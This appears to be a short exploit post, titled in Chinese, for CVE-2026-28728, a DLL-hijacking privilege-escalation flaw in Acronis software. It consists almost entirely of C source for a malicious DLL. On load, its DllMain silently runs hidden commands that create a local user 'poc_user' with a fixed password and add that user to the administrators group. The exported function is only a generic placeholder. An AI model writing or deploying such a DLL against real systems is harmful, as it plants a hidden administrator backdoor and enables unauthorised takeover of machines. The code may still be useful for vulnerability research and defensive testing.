CVE-2026-28728 Acronis DLL劫持提权漏洞

#include <windows.h> // Proof of Concept for DLL Hijacking // This DLL demonstrates code execution upon being loaded by the vulnerable application. // Exported function expected by the vulnerable application __declspec(dllexport) void VulnerableFunction() { // Placeholder for the original function logic } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to run when the DLL is loaded into the process // Example: Adding a user to demonstrate privilege escalation WinExec("cmd.exe /c net user poc_user P@ssw0rd /add", SW_HIDE); WinExec("cmd.exe /c net localgroup administrators poc_user /add", SW_HIDE); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }